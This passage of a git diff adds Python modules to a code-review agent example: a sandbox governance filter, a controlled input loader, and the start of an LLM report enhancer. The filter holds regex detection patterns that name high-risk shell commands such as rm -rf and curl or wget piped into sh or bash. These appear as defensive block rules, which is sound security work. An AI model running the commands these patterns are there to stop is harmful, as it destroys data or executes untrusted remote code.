"RUN_DIR", + } +) +_SHELL_METACHARACTERS = frozenset(";|&`$><\n\r") +_HIGH_RISK_SCRIPT_PATTERNS = ( + re.compile(r"\brm\s+-[^\n]*\brf\b", re.IGNORECASE), + re.compile(r"\b(?:curl|wget)\b[^\n]*\|\s*(?:sh|bash)\b", re.IGNORECASE), + re.compile(r"\b(?:curl|wget)\b[^\n]*(?:https?://|ftp://)", re.IGNORECASE), +) +_SAFE_REASON = re.compile(r"^[a-z][a-z0-9_]{0,79}$") + + +class FilterAction(str, Enum): + """表示治理层的沙箱执行决定,不与 finding 分桶概念混用。""" + + ALLOW = "allow" + DENY = "deny" + NEEDS_HUMAN_REVIEW = "needs_human_review" + + +@dataclass(frozen=True) +class ExecutionBudget: + """记录本次请求前已消耗的评审运行、时间和输出预算。""" + + runs_started: int = 0 + sandbox_elapsed_seconds: float = 0.0 + output_bytes: int = 0 + review_elapsed_seconds: float = 0.0 + + +@dataclass(frozen=True) +class GovernanceRequest: + """描述一次仅接受 script_id 与结构化参数的受控执行请求。""" + + script_id: str + structured_args: Mapping[str, Any] + skill_root: Path + workspace_root: Path + input_paths: tuple[Path, ...] = () + output_paths: tuple[Path, ...] = () + environment: Mapping[str, str] = field(default_factory=dict) + runtime_type: str = "container" + effective_network_mode: str | None = None + network_policy_verified: bool = False + explicit_local: bool = False + user_network_confirmation: bool = False + capability_network_allowed: bool | None = None + budget: ExecutionBudget = field(default_factory=ExecutionBudget) + raw_command: str | None = None + argument_names: tuple[str, ...] = () + _filter_decision: GovernanceDecision | None = field(default=None, init=False, repr=False, compare=False) + + +@dataclass(frozen=True) +class GovernanceDecision: + """保存只含受控原因代码、可安全持久化的 Filter 结果。""" + + action: FilterAction + reasons: tuple[str, ...] + warnings: tuple[str, ...] = () + script_id: str = "unknown" + + @property + def event(self) -> dict[str, Any]: + """生成可由 pipeline 直接落库、不会带入原始请求内容的审计事件。""" + + return { + "stage": "pre_execution", + "target": self.script_id, + "action": self.action.value, + "rule": "sandbox_governance", + "reasons": list(self.reasons), + } + + def to_mapping(self) -> dict[str, Any]: + """转换为 ReviewPipeline 治理端口所需的字典契约。""" + + return { + "action": self.action.value, + "events": [self.event], + "warnings": list(self.warnings), + } + + +class SandboxGovernanceFilter(BaseFilter): + """通过 SDK Filter 链执行 manifest、路径、预算和运行时前置校验。""" + + def __init__(self, manifest_path: Path, *, config: ReviewConfig | None = None) -> None: + """绑定真实 manifest 与不可变 ReviewConfig,避免请求方覆盖默认安全预算。""" + + super().__init__() + self.type = FilterType.TOOL + self.name = "sandbox_governance" + self._manifest_path = manifest_path.resolve() + self._scripts_root = self._manifest_path.parent.resolve() + self._skill_root = self._scripts_root.parent.resolve() + self._config = ReviewConfig() if config is None else config + + def decide(self, request: GovernanceRequest) -> GovernanceDecision: + """调用真实 SDK ``run_filters`` 链;事件循环或 Filter 异常均按拒绝处理。""" + + try: + asyncio.get_running_loop() + except RuntimeError: + return asyncio.run(self._run_chain(request)) + return self._decision(FilterAction.DENY, "filter_event_loop_unsupported") + + def run_if_allowed( + self, + request: GovernanceRequest, + executor: Callable[[], Any], + ) -> GovernanceDecision: + """仅在 ALLOW 后调用执行回调;拒绝或人工复核绝不产生回退副作用。""" + + decision = self.decide(request) + if decision.action is FilterAction.ALLOW: + executor() + return decision + + async def _run_chain(self, request: GovernanceRequest) -> GovernanceDecision: + """在同步应用边界内桥接 SDK 的异步 Filter 运行器。""" + + async def _allowed_handle() -> GovernanceDecision: + """返回 ``_before`` 保存的决定,不在 Filter 链内启动沙箱。""" + + return request._filter_decision or self._decision(FilterAction.DENY, "filter_decision_missing") + + try: + decision = await run_filters( + new_agent_context(timeout=self._config.review_deadline_seconds * 1000), + request, + [self], + _allowed_handle, + ) + except Exception: + return self._decision(FilterAction.DENY, "filter_chain_failed") + if isinstance(decision, GovernanceDecision): + return decision + return self._decision(FilterAction.DENY, "filter_chain_invalid_result") + + async def _before(self, _ctx: Any, request: Any, result: FilterResult) -> None: + """在 SDK 分派到执行句柄前完成全部前置治理检查并实现短路。""" + + if not isinstance(request, GovernanceRequest): + decision = self._decision(FilterAction.DENY, "governance_request_invalid") + else: + decision = self._evaluate(request) + object.__setattr__(request, "_filter_decision", decision) + result.rsp = decision + result.is_continue = decision.action is FilterAction.ALLOW + + def _evaluate(self, request: GovernanceRequest) -> GovernanceDecision: + """按 2.7 节顺序依次校验授权、参数、路径、环境、网络、预算与 runtime。""" + + script_id = self._safe_script_id(request.script_id) + if request.raw_command is not None: + return self._decision(FilterAction.DENY, "arbitrary_command_forbidden", script_id) + if script_id is None: + return self._decision(FilterAction.DENY, "script_id_invalid") + manifest = self._load_manifest() + if manifest is None: + return self._decision(FilterAction.DENY, "manifest_invalid", script_id) + definition = manifest.get(script_id) + if definition is None: + return self._decision(FilterAction.DENY, "script_unregistered", script_id) + if not self._entrypoint_is_verified(definition, request.skill_root): + return self._decision(FilterAction.DENY, "script_integrity_mismatch", script_id) + argument_reason = self._argument_reason(request, definition) + if argument_reason is not None: + return self._decision(FilterAction.DENY, argument_reason, script_id) + path_reason = self._path_reason(request) + if path_reason is not None: + return self._decision(FilterAction.DENY, path_reason, script_id) + environment_reason = self._environment_reason(request.environment) + if environment_reason is not None: + return self._decision(FilterAction.DENY, environment_reason, script_id) + if definition["requires_network"]: + return self._decision(FilterAction.DENY, "networked_script_forbidden", script_id) + budget_action, budget_reason = self._budget_reason(request.budget, definition) + if budget_reason is not None: + return self._decision(budget_action, budget_reason, script_id) + runtime_decision, runtime_warnings = self._runtime_decision(request, script_id) + if runtime_decision is not None: + return runtime_decision + return self._decision( + FilterAction.ALLOW, + "manifest_verified", + script_id, + warnings=runtime_warnings, + ) + + def _load_manifest(self) -> dict[str, dict[str, Any]] | None: + """只加载结构完整的 manifest 条目,损坏授权文件一律失败关闭。""" + + try: + payload = json.loads(self._manifest_path.read_text(encoding="utf-8")) + except (OSError, ValueError, UnicodeDecodeError): + return None + if not isinstance(payload, Mapping) or not isinstance(payload.get("scripts"), list): + return None + definitions: dict[str, dict[str, Any]] = {} + for item in payload["scripts"]: + if not isinstance(item, Mapping): + return None + script_id = item.get("script_id") + if not isinstance(script_id, str) or self._safe_script_id(script_id) is None: + return None + if script_id in definitions: + return None + entrypoint = item.get("entrypoint") + normalized_entrypoint = safe_script_relative_path(entrypoint) + sha256 = item.get("sha256") + integrity_files = parse_integrity_files(item.get("files")) + arguments = item.get("arguments") + timeout = item.get("timeout_seconds") + output_limit = item.get("max_output_bytes") + requires_network = item.get("requires_network") + if ( + normalized_entrypoint is None + or not isinstance(sha256, str) + or not re.fullmatch(r"[0-9a-f]{64}", sha256) + or integrity_files is None + or not isinstance(arguments, Mapping) + or isinstance(timeout, bool) + or not isinstance(timeout, int) + or timeout <= 0 + or isinstance(output_limit, bool) + or not isinstance(output_limit, int) + or output_limit <= 0 + or not isinstance(requires_network, bool) + ): + return None + integrity_by_path = { + integrity_file.path: integrity_file.sha256 + for integrity_file in integrity_files + } + if integrity_by_path.get(normalized_entrypoint) != sha256: + return None + definitions[script_id] = { + "entrypoint": normalized_entrypoint, + "sha256": sha256, + "files": integrity_files, + "arguments": arguments, + "timeout_seconds": timeout, + "max_output_bytes": output_limit, + "requires_network": requires_network, + } + return definitions + + def _entrypoint_is_verified(self, definition: Mapping[str, Any], request_root: Path) -> bool: + """复验 staged Skill 根目录、入口 containment、摘要和高危内容策略。""" + + try: + if request_root.resolve() != self._skill_root: + return False + integrity_files = definition["files"] + if not isinstance(integrity_files, tuple): + return False + verified_sources: list[str] = [] + for integrity_file in integrity_files: + source_path = ( + self._scripts_root / integrity_file.path + ).resolve(strict=True) + source_path.relative_to(self._scripts_root) + content = source_path.read_bytes() + if canonical_source_sha256(content) != integrity_file.sha256: + return False + verified_sources.append(content.decode("utf-8-sig")) + except (OSError, ValueError): + return False + except UnicodeDecodeError: + return False + return not any( + pattern.search(source) + for source in verified_sources + for pattern in _HIGH_RISK_SCRIPT_PATTERNS + ) + + def _argument_reason( + self, + request: GovernanceRequest, + definition: Mapping[str, Any], + ) -> str | None: + """校验结构化参数,禁止任何 shell 控制字符或未授权参数进入 argv 构造。""" + + if not isinstance(request.structured_args, Mapping): + return "arguments_invalid" + if len(request.argument_names) != len(set(request.argument_names)): + return "arguments_duplicate" + if any(not isinstance(name, str) for name in request.argument_names): + return "arguments_invalid" + if self._contains_shell_metacharacter(request.structured_args): + return "shell_metacharacter_forbidden" + template = definition["arguments"] + if template.get("type") != "object" or not isinstance(template.get("properties"), Mapping): + return "manifest_arguments_invalid" + properties = template["properties"] + if template.get("additional_properties") is False: + unknown = set(request.structured_args) - set(properties) + if unknown: + return "arguments_unknown" + for name, value in request.structured_args.items(): + if not isinstance(name, str) or name not in properties: + return "arguments_unknown" + schema = properties[name] + if not isinstance(schema, Mapping) or not self._value_matches_schema(value, schema): + return "arguments_invalid" + return None + + def _path_reason(self, request: GovernanceRequest) -> str | None: + """要求全部输入输出路径是任务 workspace 内的相对后代路径。""" + + if not request.input_paths or not request.output_paths: + return "workspace_paths_missing" + for raw_path in (*request.input_paths, *request.output_paths): + if not self._is_workspace_relative(raw_path, request.workspace_root): + return "workspace_path_escape" + return None + + def _environment_reason(self, environment: Mapping[str, str]) -> str | None: + """仅允许 runtime 所需且由应用重构的非敏感环境变量白名单。""" + + for name, value in environment.items(): + if not isinstance(name, str) or name not in _ALLOWED_ENVIRONMENT_NAMES: + return "environment_not_allowlisted" + if not isinstance(value, str): + return "environment_invalid" + if contains_plaintext_secret(value): + return "environment_secret_forbidden" + return None + + def _runtime_decision( + self, + request: GovernanceRequest, + script_id: str, + ) -> tuple[GovernanceDecision | None, tuple[str, ...]]: + """按 runtime 应用可机器验证的无网络策略,不把 capability 当实例状态。""" + + if request.runtime_type == "container": + if request.effective_network_mode != "none" or not request.network_policy_verified: + return self._decision(FilterAction.DENY, "network_proof_missing", script_id), () + return None, () + if request.runtime_type == "cube": + if request.effective_network_mode != "none" or not request.network_policy_verified: + return self._decision(FilterAction.DENY, "network_proof_missing", script_id), () + return None, () + if request.runtime_type == "local": + if not request.explicit_local: + return self._decision(FilterAction.DENY, "local_runtime_not_explicit", script_id), () + return None, ("local_isolation_unverifiable",) + return self._decision(FilterAction.DENY, "runtime_unsupported", script_id), () + + def _budget_reason( + self, + budget: ExecutionBudget, + definition: Mapping[str, Any], + ) -> tuple[FilterAction, str | None]: + """拒绝会超过运行次数、时间、输出或总截止时间的预检请求。""" + + numeric_values = ( + budget.runs_started, + budget.sandbox_elapsed_seconds, + budget.output_bytes, + budget.review_elapsed_seconds, + ) + if any(isinstance(value, bool) or not isinstance(value, (int, float)) or value < 0 for value in numeric_values): + return FilterAction.DENY, "budget_invalid" + timeout = definition["timeout_seconds"] + output_limit = definition["max_output_bytes"] + if timeout > self._config.per_run_timeout_seconds or output_limit > self._config.max_output_bytes_per_run: + return FilterAction.DENY, "manifest_budget_exceeds_config" + if budget.runs_started + 1 > self._config.max_sandbox_runs: + return FilterAction.NEEDS_HUMAN_REVIEW, "sandbox_run_budget_exceeded" + if budget.sandbox_elapsed_seconds + timeout > self._config.sandbox_time_budget_seconds: + return FilterAction.NEEDS_HUMAN_REVIEW, "sandbox_time_budget_exceeded" + if budget.output_bytes + output_limit > self._config.max_output_bytes_per_review: + return FilterAction.NEEDS_HUMAN_REVIEW, "sandbox_output_budget_exceeded" + if budget.review_elapsed_seconds + timeout > self._config.review_deadline_seconds: + return FilterAction.NEEDS_HUMAN_REVIEW, "review_deadline_exceeded" + return FilterAction.ALLOW, None + + def _decision( + self, + action: FilterAction, + reason: str, + script_id: str = "unknown", + *, + warnings: Sequence[str] = (), + ) -> GovernanceDecision: + """构造不会暴露请求内容、路径或密钥的受限决定对象。""" + + safe_reason = reason if _SAFE_REASON.fullmatch(reason) else "governance_policy_failed" + safe_script_id = self._safe_script_id(script_id) or "unknown" + safe_warnings = tuple( + warning for warning in warnings if isinstance(warning, str) and _SAFE_REASON.fullmatch(warning) + ) + return GovernanceDecision(action, (safe_reason,), safe_warnings, safe_script_id) + + @staticmethod + def _safe_script_id(value: object) -> str | None: + """仅允许 manifest 风格标识进入面向持久化的审计字段。""" + + if not isinstance(value, str) or not re.fullmatch(r"[a-z][a-z0-9_]{0,79}", value): + return None + return value + + @staticmethod + def _contains_shell_metacharacter(value: Any) -> bool: + """递归检测 shell 控制字符,阻止结构化值进入 argv 构造器前被解释。""" + + if isinstance(value, str): + return any(character in _SHELL_METACHARACTERS for character in value) + if isinstance(value, Mapping): + return any( + SandboxGovernanceFilter._contains_shell_metacharacter(key) + or SandboxGovernanceFilter._contains_shell_metacharacter(item) + for key, item in value.items() + ) + if isinstance(value, (tuple, list)): + return any(SandboxGovernanceFilter._contains_shell_metacharacter(item) for item in value) + return False + + @staticmethod + def _value_matches_schema(value: Any, schema: Mapping[str, Any]) -> bool: + """实现 manifest 规定的基础类型、枚举值和字符串长度契约。""" + + expected_type = schema.get("type") + matches_type = ( + expected_type == "string" + and isinstance(value, str) + or expected_type == "integer" + and isinstance(value, int) + and not isinstance(value, bool) + or expected_type == "number" + and isinstance(value, (int, float)) + and not isinstance(value, bool) + or expected_type == "boolean" + and isinstance(value, bool) + or expected_type == "array" + and isinstance(value, list) + or expected_type == "object" + and isinstance(value, Mapping) + ) + if not matches_type: + return False + max_length = schema.get("maxLength") + if isinstance(value, str) and isinstance(max_length, int) and len(value) > max_length: + return False + enum = schema.get("enum") + return not isinstance(enum, list) or value in enum + + @staticmethod + def _is_workspace_relative(raw_path: Path, workspace_root: Path) -> bool: + """在 staging 或打开文件前拒绝绝对路径、遍历路径和符号链接逃逸。""" + + if raw_path.is_absolute() or ".." in raw_path.parts: + return False + try: + (workspace_root.resolve() / raw_path).resolve().relative_to(workspace_root.resolve()) + except (OSError, ValueError): + return False + return True diff --git a/examples/skills_code_review_agent/code_review/inputs.py b/examples/skills_code_review_agent/code_review/inputs.py new file mode 100644 index 000000000..97e8a3851 --- /dev/null +++ b/examples/skills_code_review_agent/code_review/inputs.py @@ -0,0 +1,467 @@ +# +# Tencent is pleased to support the open source community by making trpc-agent-python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# trpc-agent-python is licensed under the Apache License Version 2.0. +# + +"""Controlled input acquisition for the code-review pipeline. + +Raw diff and source text are intentionally confined to this module's return +object. Callers must stage the minimal result into a task workspace and must +not log ``ChangeSet.full_text`` or the original input bytes. +""" + +from __future__ import annotations + +import hashlib +import shutil +import subprocess +from dataclasses import dataclass, replace +from pathlib import Path +from typing import TYPE_CHECKING, Callable, Mapping, Sequence, Tuple + +from .config import ReviewConfig +from .skill_loader import load_skill_module + +if TYPE_CHECKING: + from lib.diff_parser import ChangeSet + + +_IGNORED_REPO_PARTS = frozenset( + { + ".git", + ".venv", + "venv", + "node_modules", + "build", + "dist", + "__pycache__", + ".tox", + ".mypy_cache", + ".pytest_cache", + } +) +_REPARSE_POINT = 0x0400 + + +class InputValidationError(ValueError): + """A sanitized invalid-input failure suitable for a warning or CLI error.""" + + +class InputLimitError(InputValidationError): + """A configured input budget was exceeded before content was staged.""" + + +@dataclass(frozen=True) +class FixturePayload: + """An explicitly typed fixture payload supplied by a trusted resolver.""" + + payload_type: str + diff_text: str | None = None + file_contents: Mapping[str, str] | None = None + + def __post_init__(self) -> None: + """校验 fixture 仅携带声明类型对应的一种原始输入载荷。""" + + if self.payload_type == "diff" and self.diff_text is not None and self.file_contents is None: + return + if self.payload_type == "files" and self.file_contents is not None and self.diff_text is None: + return + raise InputValidationError("fixture_payload_type_invalid") + + +@dataclass(frozen=True) +class InputResult: + """One parsed input plus sanitized acquisition warnings.""" + + change_set: "ChangeSet" + warnings: Tuple[str, ...] = () + + +FixtureResolver = Callable[[str], FixturePayload] + + +def _diff_parser(): + """导入 Skill 自有的 diff 解析实现,避免宿主复制规则逻辑。""" + + parser_module = load_skill_module("diff_parser") + return parser_module.build_snapshot_change_set, parser_module.parse_unified_diff + + +def _is_link_or_junction(path: Path) -> bool: + """在读取前识别 POSIX 符号链接和 Windows 重解析点。""" + + try: + status = path.lstat() + except OSError: + return False + return path.is_symlink() or bool(getattr(status, "st_file_attributes", 0) & _REPARSE_POINT) + + +def _resolved_root(input_root: Path | None) -> Path: + """解析并校验输入根目录,拒绝链接和不可访问目录。""" + + root = Path.cwd() if input_root is None else Path(input_root) + if _is_link_or_junction(root): + raise InputValidationError("input_root_link_rejected") + try: + resolved = root.resolve(strict=True) + except OSError as exc: + raise InputValidationError("input_root_unavailable") from exc + if not resolved.is_dir(): + raise InputValidationError("input_root_not_directory") + return resolved + + +def _safe_named_path(path: Path, root: Path, *, allow_absolute: bool = False) -> Path: + """在读取元数据或内容前校验一个显式输入文件不会逃逸根目录。""" + + candidate = Path(path) + if candidate.is_absolute() and not allow_absolute: + raise InputValidationError("absolute_input_path_rejected") + if not candidate.is_absolute(): + if ".." in candidate.parts: + raise InputValidationError("input_path_traversal_rejected") + candidate = root / candidate + try: + lexical = candidate.relative_to(root) + except ValueError as exc: + raise InputValidationError("input_path_outside_root") from exc + cursor = root + for part in lexical.parts: + cursor = cursor / part + if _is_link_or_junction(cursor): + raise InputValidationError("input_link_rejected") + try: + resolved = candidate.resolve(strict=True) + except OSError as exc: + raise InputValidationError("input_path_unavailable") from exc + try: + resolved.relative_to(root) + except ValueError as exc: + raise InputValidationError("input_path_outside_root") from exc + if not resolved.is_file(): + raise InputValidationError("input_path_not_regular_file") + return resolved + + +def _read_utf8(path: Path) -> str: + """读取已校验的 UTF-8 文本,并将底层错误转为脱敏输入错误。""" + + try: + return path.read_text(encoding="utf-8") + except UnicodeDecodeError as exc: + raise InputValidationError("input_text_decode_failed") from exc + except OSError as exc: + raise InputValidationError("input_read_failed") from exc + + +def _read_bytes(path: Path) -> bytes: + """读取已校验输入的字节,且不暴露宿主路径异常详情。""" + + try: + return path.read_bytes() + except OSError as exc: + raise InputValidationError("input_read_failed") from exc + + +def _check_file_limits(paths: Sequence[Path], config: ReviewConfig, *, initial_bytes: int = 0) -> None: + """在读取文件内容前执行文件数量和字节数预算检查。""" + + if len(paths) > config.max_input_files: + raise InputLimitError("input_file_count_exceeded") + total_bytes = initial_bytes + for path in paths: + try: + size = path.stat().st_size + except OSError as exc: + raise InputValidationError("input_path_unavailable") from exc + if size > config.max_input_file_bytes: + raise InputLimitError("input_file_too_large") + total_bytes += size + if total_bytes > config.max_input_bytes: + raise InputLimitError("input_total_too_large") + + +def _check_diff_limits(diff_text: str, config: ReviewConfig) -> None: + """检查统一 diff 文本的单文件、总字节和总行数限制。""" + + encoded = diff_text.encode("utf-8") + if len(encoded) > config.max_input_file_bytes: + raise InputLimitError("input_file_too_large") + if len(encoded) > config.max_input_bytes: + raise InputLimitError("input_total_too_large") + if diff_text.count("\n") + 1 > config.max_diff_lines: + raise InputLimitError("input_diff_lines_exceeded") + + +def _load_diff_file(diff_file: Path, input_root: Path | None, config: ReviewConfig) -> InputResult: + """加载并解析受控根目录内的统一 diff 文件输入。""" + + root = _resolved_root(input_root) + path = _safe_named_path(diff_file, root, allow_absolute=True) + _check_file_limits((path,), config) + diff_text = _read_utf8(path) + _check_diff_limits(diff_text, config) + _, parse_unified_diff = _diff_parser() + return InputResult(change_set=parse_unified_diff(diff_text, source_kind="diff_file")) + + +def _load_files(files: Sequence[Path], input_root: Path | None, config: ReviewConfig) -> InputResult: + """加载显式文件快照,并构造全文件审查范围的 ChangeSet。""" + + root = _resolved_root(input_root) + paths = tuple(_safe_named_path(Path(path), root) for path in files) + if len({path.as_posix() for path in paths}) != len(paths): + raise InputValidationError("input_files_not_unique") + _check_file_limits(paths, config) + contents: dict[str, str] = {} + warnings = [] + for path in paths: + raw = _read_bytes(path) + if b"\0" in raw: + warnings.append("input_binary_skipped") + continue + try: + text = raw.decode("utf-8") + except UnicodeDecodeError: + warnings.append("input_non_text_skipped") + continue + contents[path.relative_to(root).as_posix()] = text + build_snapshot_change_set, _ = _diff_parser() + return InputResult( + change_set=build_snapshot_change_set(contents, source_kind="files"), + warnings=tuple(warnings), + ) + + +def _run_git(repo: Path, *arguments: str) -> str: + """以 argv 形式执行 Git,并将原始 stderr 隐藏在受控错误之后。""" + + try: + executable = shutil.which("git") + if executable is None: + raise OSError("git executable unavailable") + resolved_executable = Path(executable).resolve(strict=True) + try: + resolved_executable.relative_to(repo.resolve(strict=True)) + except ValueError: + pass + else: + raise OSError("repository-local git executable rejected") + completed = subprocess.run( + [str(resolved_executable), "-C", str(repo), *arguments], + check=True, + capture_output=True, + text=True, + encoding="utf-8", + errors="replace", + timeout=15, + ) + except (OSError, subprocess.SubprocessError) as exc: + raise InputValidationError("git_input_unavailable") from exc + return completed.stdout + + +def _repository_root(repo_path: Path) -> Path: + """解析真实 Git 工作区根目录,并拒绝链接和非仓库路径。""" + + candidate = Path(repo_path) + if _is_link_or_junction(candidate): + raise InputValidationError("repo_link_rejected") + try: + resolved = candidate.resolve(strict=True) + except OSError as exc: + raise InputValidationError("repo_path_unavailable") from exc + if not resolved.is_dir(): + raise InputValidationError("repo_path_not_directory") + git_root = Path(_run_git(resolved, "rev-parse", "--show-toplevel").strip()) + if _is_link_or_junction(git_root): + raise InputValidationError("repo_link_rejected") + try: + return git_root.resolve(strict=True) + except OSError as exc: + raise InputValidationError("repo_path_unavailable") from exc + + +def _repo_file_path(repo: Path, normalized_path: str) -> Path | None: + """返回仍位于工作区内且不是链接的已跟踪或未跟踪文件路径。""" + + relative = Path(normalized_path) + if relative.is_absolute() or ".." in relative.parts: + return None + candidate = repo / relative + if _is_link_or_junction(candidate): + return None + try: + resolved = candidate.resolve(strict=True) + resolved.relative_to(repo) + except (OSError, ValueError): + return None + return resolved if resolved.is_file() else None + + +def _is_ignored_repo_path(relative_path: str) -> bool: + """判断相对路径是否位于评审时必须忽略的构建或环境目录。""" + + path = Path(relative_path) + return any(part in _IGNORED_REPO_PARTS or part.endswith(".egg-info") for part in path.parts) + + +def _repo_digest(diff_text: str, untracked_contents: Mapping[str, str]) -> str: + """计算工作区 diff 与未跟踪文本快照的稳定输入摘要。""" + + hasher = hashlib.sha256(b"code-review-repo-v1\0") + diff_bytes = diff_text.encode("utf-8") + hasher.update(len(diff_bytes).to_bytes(8, "big")) + hasher.update(diff_bytes) + for path in sorted(untracked_contents): + path_bytes = path.encode("utf-8") + content_bytes = untracked_contents[path].encode("utf-8") + hasher.update(len(path_bytes).to_bytes(8, "big")) + hasher.update(path_bytes) + hasher.update(len(content_bytes).to_bytes(8, "big")) + hasher.update(content_bytes) + return hasher.hexdigest() + + +def _load_repository(repo_path: Path, config: ReviewConfig) -> InputResult: + """加载单次 Git diff 与受限未跟踪文本,构成工作区增量输入。""" + + repo = _repository_root(repo_path) + diff_text = _run_git(repo, "diff", "HEAD") + _check_diff_limits(diff_text, config) + build_snapshot_change_set, parse_unified_diff = _diff_parser() + parsed = parse_unified_diff(diff_text, source_kind="repo_path") + warnings = [] + tracked_paths: list[tuple[int, Path]] = [] + for index, file_change in enumerate(parsed.files): + if file_change.is_binary or file_change.status == "deleted": + continue + path = _repo_file_path(repo, file_change.normalized_path) + if path is None: + warnings.append("input_path_skipped") + continue + tracked_paths.append((index, path)) + + untracked_names = [ + name + for name in _run_git(repo, "ls-files", "--others", "--exclude-standard").splitlines() + if name and not _is_ignored_repo_path(name) + ] + untracked_paths: list[tuple[str, Path]] = [] + for name in sorted(untracked_names): + path = _repo_file_path(repo, name) + if path is None: + warnings.append("input_path_skipped") + continue + untracked_paths.append((name.replace("\\", "/"), path)) + + _check_file_limits( + tuple(path for _, path in tracked_paths) + tuple(path for _, path in untracked_paths), + config, + initial_bytes=len(diff_text.encode("utf-8")), + ) + + files = list(parsed.files) + parse_warnings = list(parsed.parse_warnings) + for index, path in tracked_paths: + raw = _read_bytes(path) + if b"\0" in raw: + warnings.append("input_binary_skipped") + continue + try: + text = raw.decode("utf-8") + except UnicodeDecodeError: + warnings.append("input_non_text_skipped") + continue + snapshot = build_snapshot_change_set({files[index].normalized_path: text}) + snapshot_file = snapshot.files[0] + files[index] = replace( + files[index], + full_text=snapshot_file.full_text, + analysis_mode=snapshot_file.analysis_mode, + ) + parse_warnings.extend(snapshot.parse_warnings) + + untracked_contents: dict[str, str] = {} + for name, path in untracked_paths: + raw = _read_bytes(path) + if b"\0" in raw: + warnings.append("input_binary_skipped") + continue + try: + untracked_contents[name] = raw.decode("utf-8") + except UnicodeDecodeError: + warnings.append("input_non_text_skipped") + if untracked_contents: + snapshots = build_snapshot_change_set(untracked_contents) + files.extend(replace(file_change, status="added") for file_change in snapshots.files) + parse_warnings.extend(snapshots.parse_warnings) + + change_set = replace( + parsed, + files=tuple(files), + input_sha256=_repo_digest(diff_text, untracked_contents), + file_count=len(files), + hunk_count=sum(len(file_change.hunks) for file_change in files), + additions=sum(len(file_change.new_changed_lines) for file_change in files), + deletions=sum(len(file_change.old_changed_lines) for file_change in files), + parse_warnings=tuple(parse_warnings), + ) + return InputResult(change_set=change_set, warnings=tuple(warnings)) + + +def _load_fixture(payload: FixturePayload, config: ReviewConfig) -> InputResult: + """依据 fixture 声明的 diff 或文件载荷类型构造审查输入。""" + + build_snapshot_change_set, parse_unified_diff = _diff_parser() + if payload.payload_type == "diff": + if payload.diff_text is None: + raise InputValidationError("fixture_payload_type_invalid") + _check_diff_limits(payload.diff_text, config) + return InputResult(change_set=parse_unified_diff(payload.diff_text, source_kind="fixture")) + if payload.file_contents is None: + raise InputValidationError("fixture_payload_type_invalid") + encoded_files = tuple(content.encode("utf-8") for content in payload.file_contents.values()) + if len(encoded_files) > config.max_input_files: + raise InputLimitError("input_file_count_exceeded") + if any(len(content) > config.max_input_file_bytes for content in encoded_files): + raise InputLimitError("input_file_too_large") + if sum(len(content) for content in encoded_files) > config.max_input_bytes: + raise InputLimitError("input_total_too_large") + return InputResult(change_set=build_snapshot_change_set(payload.file_contents, source_kind="fixture")) + + +def load_input( + *, + diff_file: Path | None = None, + repo_path: Path | None = None, + files: Sequence[Path] | None = None, + fixture: FixturePayload | str | None = None, + fixture_resolver: FixtureResolver | None = None, + input_root: Path | None = None, + config: ReviewConfig | None = None, +) -> InputResult: + """加载唯一允许的评审输入形式,并始终避免记录原始内容。""" + + active_config = ReviewConfig() if config is None else config + file_list = tuple(files or ()) + selections = (diff_file is not None, repo_path is not None, bool(file_list), fixture is not None) + if sum(selections) != 1: + raise InputValidationError("exactly_one_input_required") + if diff_file is not None: + return _load_diff_file(Path(diff_file), input_root, active_config) + if repo_path is not None: + return _load_repository(Path(repo_path), active_config) + if file_list: + return _load_files(file_list, input_root, active_config) + if isinstance(fixture, str): + if fixture_resolver is None: + raise InputValidationError("fixture_resolver_required") + fixture = fixture_resolver(fixture) + if not isinstance(fixture, FixturePayload): + raise InputValidationError("fixture_payload_invalid") + return _load_fixture(fixture, active_config) diff --git a/examples/skills_code_review_agent/code_review/llm_enhancer.py b/examples/skills_code_review_agent/code_review/llm_enhancer.py new file mode 100644 index 000000000..f0235e663 --- /dev/null +++ b/examples/skills_code_review_agent/code_review/llm_enhancer.py @@ -0,0 +1,307 @@ +# +# Tencent is pleased to support the open source community by making trpc-agent-python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# trpc-agent-python is licensed under the Apache License Version 2.0. +# + +"""Optional fake, real, or disabled report enhancement.""" + +from __future__ import annotations + +import asyncio +import json +import os +import warnings +from collections.abc import AsyncGenerator, Mapping +from copy import deepcopy +from typing import Any + +from langchain_core._api.deprecation import LangChainPendingDeprecationWarning + +warnings.filterwarnings( + "ignore", + message=r"The default value of `allowed_objects` will change.*", + category=LangChainPendingDeprecationWarning, +) + + +def _import_sdk_agent_dependencies() -> tuple[Any, Any, Any, Any, Any, Any, Any, Any]: + """在 SDK 延迟导入期间仅过滤已知无路径价值的弃用警告,其余警告保持原样。""" + + original_showwarning = warnings.showwarning + + def safe_showwarning( + message: Warning | str, + category: type[Warning], + filename: str, + lineno: int, + file: Any = None, + line: str | None = None, + ) -> None: + """丢弃唯一已知的 LangGraph 弃用提示,避免其携带 site-packages 绝对路径进入终端。""" + + if ( + issubclass(category, LangChainPendingDeprecationWarning) + and str(message).startswith("The default value of `allowed_objects` will change") + ): + return + original_showwarning(message, category, filename, lineno, file, line) + + warnings.showwarning = safe_showwarning + try: + from trpc_agent_sdk.agents import LlmAgent + from trpc_agent_sdk.models import LLMModel, LlmResponse, OpenAIModel + from trpc_agent_sdk.runners import Runner + from trpc_agent_sdk.sessions import InMemorySessionService + from trpc_agent_sdk.types import Content, Part + + return LlmAgent, LLMModel, LlmResponse, OpenAIModel, Runner, InMemorySessionService, Content, Part + finally: + warnings.showwarning = original_showwarning + + +( + LlmAgent, + LLMModel, + LlmResponse, + OpenAIModel, + Runner, + InMemorySessionService, + Content, + Part, +) = _import_sdk_agent_dependencies() + +from agent.prompts import ENHANCEMENT_INSTRUCTION +from code_review.model_runtime import build_real_model +from code_review.redaction import redact_data + + +_MODES = frozenset({"off", "fake", "real"}) +_IDENTITY_FIELDS = frozenset( + { + "severity", + "category", + "file", + "line", + "title", + "evidence", + "confidence", + "source", + "rule_id", + "bucket", + "dedup_key", + } +) + + +class _FakeEnhancementModel(LLMModel): + """提供离线固定文本的 SDK 模型,用于验证与 real 相同的调用链。""" + + @classmethod + def supported_models(cls) -> list[str]: + """声明本 fake 模型仅服务于本项目的固定名称。""" + + return [r"code-review-fake"] + + async def _generate_async_impl( + self, + _request: Any, + stream: bool = False, + ctx: Any = None, + ) -> AsyncGenerator[LlmResponse, None]: + """返回不依赖网络或密钥的固定 JSON 文本。""" + + del stream, ctx + payload = { + "summary": "已生成脱敏的人工复核摘要。", + "recommendation": 